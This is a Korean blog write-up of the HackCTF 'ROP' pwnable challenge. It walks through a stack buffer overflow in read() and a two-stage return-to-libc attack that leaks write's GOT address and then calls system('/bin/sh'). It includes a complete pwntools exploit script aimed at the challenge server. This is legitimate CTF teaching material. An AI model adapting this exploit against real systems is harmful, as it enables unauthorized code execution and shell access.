tmxklab
[HackCTF/Pwnable] ROP 본문
1. 문제
nc ctf.j0n9hyun.xyz 3021
1) mitigation
2) 문제 확인
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
3-2) vulnerable_function()
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]
return read(0, &buf, 0x100u);
}
read함수에서 bof발생 -> ret건드릴 수 있음
2. 접근 방법
공격 프로세스)
-
bof를 수행하여 write함수의 주소 값 leak한 후 다시 vuln함수로 back
-
leak한 주소 값을 통해 system함수와 binsh주소 값 찾기
-
다시 bof를 수행하여 rtl수행
3. 풀이
payload 1 = [ dummy(0x8c) ] + [ write_plt ] + [ pppr ] + [ 1 ] + [ write_got ] +[ 4 ] + [ vuln_addr ]
payload 2 = [ dummy(0x8c ] + [ system_addr ] + [ dummy(0x4) ] + [ binsh ]
( pppr은 "$ROPGadget --binary ./rop | grep ret"에서 pop pop pop ret 추출하고 주소 값 쓰면됨 )
주의할 점)
- 로컬에서는 /lib/i386-linux-gnu/libc.so.6와 링킹되어 있어서 익스 가능(각자 링킹된 라이브러리 다를 수 있음, 확인 $ldd "elf파일")
- 원격에서는 주어진 ./libc.so.6을 이용해야 익스 가능(libc.so.6 주어짐)
익스코드)
from pwn import *
context.log_level = "debug"
#p = process("./rop")
p = remote("ctf.j0n9hyun.xyz", 3021)
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc = ELF("./libc.so.6")
e = ELF("./rop")
#gdb.attach(p)
system_offset = libc.symbols['system']
binsh_offset = libc.search("/bin/sh").next()
write_offset = libc.symbols["write"]
write_plt = e.plt['write']
write_got = e.got['write']
vuln_addr = e.symbols['vulnerable_function']
pppr = 0x8048509
payload = "A"*0x8c
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(write_got)
payload += p32(0x4)
payload += p32(vuln_addr)
# 1. leak write address
p.send(payload)
write_addr = u32(p.recv())
base_addr = write_addr - write_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset
log.info("base addr : "+hex(base_addr))
log.info("write addr : "+hex(write_addr))
log.info("system addr : "+hex(system_addr))
log.info("binsh addr : "+hex(binsh_addr))
# 2. return to system("/bin/sh")
payload = "A"*0x8c
payload += p32(system_addr)
payload += "A"*4
payload += p32(binsh_addr)
p.send(payload)
p.interactive()
실행결과)
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] sysrop (0) | 2020.08.06 |
---|---|
[HackCTF/Pwnable] Unexploitable #1 (0) | 2020.08.06 |
[HackCTF/Pwnable] UAF (0) | 2020.07.20 |
[HackCTF/Pwnable] you_are_silver (0) | 2020.06.30 |
[HackCTF/Pwnable] Pwning (2) | 2020.06.23 |
Comments